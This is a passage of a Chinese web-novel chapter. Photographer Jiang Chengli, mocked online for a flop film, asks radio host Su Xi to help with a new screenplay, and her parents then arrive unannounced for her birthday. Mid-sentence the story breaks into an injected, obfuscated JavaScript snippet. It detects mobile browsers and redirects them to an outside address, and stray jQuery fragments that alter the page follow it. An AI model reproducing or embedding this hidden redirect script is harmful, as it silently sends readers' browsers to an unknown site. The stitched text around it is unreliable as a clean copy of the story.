录音室里，杨震远和其他人一样，安静地等待苏溪这次的录音结束。


    他放松地靠在沙发上，不时喝一口浓茶，忽然手机震动，视线懒散地飘了过去。


    江澄礼：【在哪？】


    杨震远嘶了一声，懒懒打字：【你说呢？】


    江澄礼：【帮我个忙。】


    杨震远：【最近脑壳儿有点疼。】


    这借口找的一点诚意都没有，江澄礼果然没搭理，却依旧发来消息：【《故事里》是你请我上的，但是现在，我当初的电影被人扒出来了，已经被群嘲两天了。】


    杨震远眯眼看屏幕：【所以，这是我的问题？】


    江澄礼：【不然呢？】


    杨震远：【呵，别装傻，人苏主持当时可没问你有没有拍过电影，是你自己嘴快抖出来的。】


    屏幕里好长一段时间安静，杨震远知道这人心虚了。


    能让江澄礼吃瘪的机会可不多，杨震远不辞辛劳的去找对应视频，然后录下来，发过去。


    ——“爱好多？怎么培养？”对于苏溪的问题，江澄礼略思忖，“其实我也挺喜欢导演的，之前影院上映过一部。”


    苏溪诧异，“您还做过导演？”


    “嗯，可惜连成本都没能回来，后来这部电影我还拿了个奖。”


    苏溪有点懵，在场众人也有点懵，连成本都回不来的电影，拿奖？


    江澄礼笑，“金扫帚奖。”


    别称，烂片奖。


    “……”苏溪，“您说得这些都会播出去的。”


    江澄礼，“知道。”


    苏溪，“不担心？”


    江澄礼，“不担心。”


    这段视频一分钟不到，杨震远估算了下江澄礼看完视频的所需时间，主动发去消息：【看清楚，证据在这儿呢。】


    没一会儿，江澄礼问：【你在哪？】


    杨震远：【废话，上班。】


    江澄礼：【具体位置。】


    【录音室。】杨震远敲字的手有片刻停住，但还是发过去了：【你要干嘛？】


    之后是长久的寂静。


    杨震远看屏幕的眼睛眯起。


    ……


    苏溪从录音室出来，和录音导演讨论这次进展，大门突然被人打开，所有人侧过脸望去。


    江澄礼出现在门口，他似乎也被里面乌泱泱的人给惊到了，在门外站了好一会儿。视线在扫到苏溪时停留了几秒，然后锁定在杨震远身上，带上门走进来。


    杨震远，“……”


    这瘪犊子，想干什么？


    江澄礼边往里走，边对他们说，“我来找杨导，你们忙。”


    话虽然这么说，但他这么一位无关人士大喇喇的出现，众人依旧忍不住朝他多看了好几眼。


    最近有小道消息传出，说这位江先生和他们台长有不可言说的关系，不知道是真是假。


    江澄礼丝毫不顾他人的目光，径直走到杨震远身边坐下，“来，我们好好谈谈。”


    杨震远，“……”


    ……


    两人对面的位置，苏溪沉默两秒，收回目光，转头继续工作了。


    20分钟后，苏溪一口气喝了半瓶水，干涩的嗓子终于舒服了。


    录音工作完成，打完招呼大家就散了，密集的人影褪去，呆坐在沙发上的两位就显得极为惹眼。恰巧，这两双眼睛都在盯着苏溪看。


    一时间，苏溪不知道该走还是该留。


    “苏老师，帮个忙呗。”杨震远对苏溪说。


    苏溪略带迟疑，“什么忙？”


    杨震远竖起拇指，指向身边的江澄礼。


    苏溪看向江澄礼，江澄礼也在看着她，并对她说，“我有个不情之请。”


    苏溪，“说说看呢。”


    江澄礼，“我那部荣获金扫帚的电影被人翻出来了，现在不仅我的客户会发消息调笑我，热搜也已经被群嘲两天了。”


    苏溪愣住，“这么严重？”


    杨震远递来手机，苏溪半信半疑地接过，果然在热搜末尾找到了字条‘极具美感的金扫帚’，但评论里不是她以为的那种群嘲，而是另一种画风。


    【江澄礼不愧是摄影师，电影画面真的拍得巨美，毫不夸张的说，每帧都能拿来当壁纸的程度。但这剧情怎么回事！！给我家狗看，狗都要睡着了。】


    【电影看完了，怎么说呢，有种……吃了一盘巨好看的蛋糕，但蛋糕是不可食用的棉絮做的，噎得慌。】


    苏溪，“……”


    她放下手机，看向江澄礼。


    三人你看我，我看你，谁也没有说话。


    “你说得不情之请是？”苏溪问。


    苏溪的话音里已经透出警惕的意味，但江澄礼还是诚实的表达了自己诉求，“我打算重新拍一部电影，杨震远说你文学功底好，我想让你帮我参考下剧情。”


    苏溪沉默了多久，心中的那股离谱感就腾升了多久。


    “我是主持人，不是编剧。”她说。


    不知道是不是故意，江澄礼并没有看出她的婉拒，“放心，电影如果上映，编剧那栏我不会写你的名字。”


    苏溪盯着江澄礼看了好一会儿，视线转向他旁边的杨震远，“他一直这样吗？”


    杨震远用长长的叹气声回答了她。


    “你的履历这么精彩，又是国际摄影师，不过是导演了一部不太满意的作品，这事又不严重，你为什么这么惦记。”苏溪问。


    江澄礼回答，“我会在节目上暴露这件事，并不是害怕丢脸。我之前在不是问过你，如果我想写一个故事，你认为剧情重要，还是人设更重要么？”


    这话苏溪有印象，是江澄礼来电台接受采访的时候，他问她的。


    她记得当时自己回答的是：剧情可以是固定的，但人物的反应是活的。


    可这又怎样呢？


    苏溪的视线重新落回江澄礼面上，却见江澄礼表情很认真。


    江澄礼说，“你说得很对，电影虽然只是我的尝试，但我从来没想过只尝试一次。”


    就像学生时期的错题集。错题，总要做对了才行。


    苏溪没有说话。


    江澄礼有时候的确不着调，但不可否认，他的成功不是偶然。执着的人从来不是先看到成功才行动，而是先行动才会遇见成功。


    苏溪想了想说，“我也只是多读了几本书而已，可能并不能提供多大的帮助。”


    听出她话语中的软化，江澄礼笑了下，“这没事，我写剧本，回头你负责看就行。”


    苏溪语塞，“好，你不介意就行。”


    终于把事情给推出去的杨震远，忽然想到一件事，“对了，你可以请教戚妄啊，他不是这方面的行家嘛。”


    已经一周没遇到的人，乍然听到名字，苏溪侧目。


    江澄礼，“不太方便。”


    杨震远不解，“怎么不方便？请教年龄比你小的人，不好意思啊？”


    江澄礼沉吟几秒，居然也没否认，“你说对了。”


    杨震远噎住，“？”


    他不是向来不在乎脸面这种东西嘛？


    江澄礼起身，“走吧，我请你们吃饭。”


    杨震远摆手，“我有事，你俩去吧。”


    苏溪看他，问，“不是已经处理好了？”


    杨震远摇头，“等会儿要去剪辑室。”


    苏溪，“辛苦了，等回头我帮你一起整理。”


    站在电梯里，江澄礼


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894950|157190||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    问，“听我爸说，你喜欢香水？”


    “什么？”苏溪说完反应过来，之前在办公室里被江主任身上的浓香给熏到了，江主任还说要送她一瓶香水。


    “嗯，还算喜欢。”


    江澄礼，“我车里正好有一瓶，等会儿你记得拿着。”


    苏溪，“给我？”


    江澄礼，“你不是说，回头亲自问我要么？”


    苏溪噎住，“那是我和你爸……江主任开玩笑的。”


    江澄礼笑了下，“他跟我提了一嘴，我就一直带在身边，想着你什么时候会找我要，没想到现在是我先找你提的。”


    苏溪错愕，“你们江家人都这么认真嘛？”


    “别的江家人我不知道，我家是这样的。”说这话的江澄礼很认真的思考了下。


    苏溪失笑。


    “你，还好吧。”过了会儿，江澄礼说，“看你的样子，应该是走出爱宠去世的阴影了。”


    苏溪，“你不提，我都没想起来了。”


    江澄礼，“抱歉。”


    苏溪笑了下，“开玩笑的，谢谢。”


    江澄礼的目光望了过来，落在苏溪面上，一时沉默。


    电梯在一楼停下，两人并肩走出。视线在看到远处的两个人影时，苏溪顿足。


    江澄礼跟着停下，回头，“苏溪？”


    见苏溪一直看着左侧方向，江澄礼跟着望去，就见那里站着一对中年男女，瞧着像是对夫妻。


    苏溪，“爸，妈？”


    声音不大，那对中年夫妻并没有听见，如果不是离得近，江澄礼也差点没有听清，立刻侧过脸看向苏溪。


    夫妻二人似乎在和保安解释什么，但保安只是摇摇头。


    “爸妈。”苏溪靠近，声音由远及近。


    “溪溪！”张蓉芳回头，见到女儿松了口气，快步靠近，“你电话怎么一直占线？”


    “占线？”苏溪摸了下两边口袋，找到手机，居然有6个未接来电，“刚才在录音室，我设置了勿扰。”


    苏劲秋上下看她，“人没事就行。”


    “你们怎么突然过来？”苏溪问。


    “你自己算算几年没回家了。”张蓉芳的口吻不含埋怨，“明天是你生日，我和你爸就干脆来你这儿看看。”


    苏溪看向父母，两人比上次见面胖了些，也苍老了些。


    低声说，“我这儿一切都好，不用担心。”


    张蓉芳的目光在苏溪面上停留许久，一寸寸地，不错眼地看。


    在这沉寂又短暂的时间里，她的视线像有千言万语，但最后只轻声问了一句，“你午饭吃了吗？”


    “还没有，正准备去吃，你们呢？”


    “飞机餐吃了个半饱。”


    苏溪点头，“那好，我们一起吃顿午饭吧。”


    保安早在苏溪出现后就离开了，如今站在门后的就只剩下他们四人。


    夫妻二人同时望向苏溪身边的江澄礼，问，“这位是？”


    苏溪，“我朋友江澄礼，正好约着去吃午饭。”


    江澄礼点头，“叔叔阿姨，你们好。”


    张蓉芳盯着江澄礼看了好一会儿，面上浮起笑容，“你好。”


    苏劲秋，“别站着了，我们走吧。”


    苏溪说，“我们不去太远的地方，主道过去，旁边就有家味道很好的店。”


    “好，听你的。”


    苏溪拉着张蓉芳的手朝大门外走。


    背后，江澄礼嘴唇张了张，话没能说出来。前方已经走出去几步的三人，尤其是苏溪，都没有回头看他一眼。


    如同罚站般，江澄礼在原地站了好一会儿。


    此时，那三人已经要下楼梯了，他想了想抬步跟上。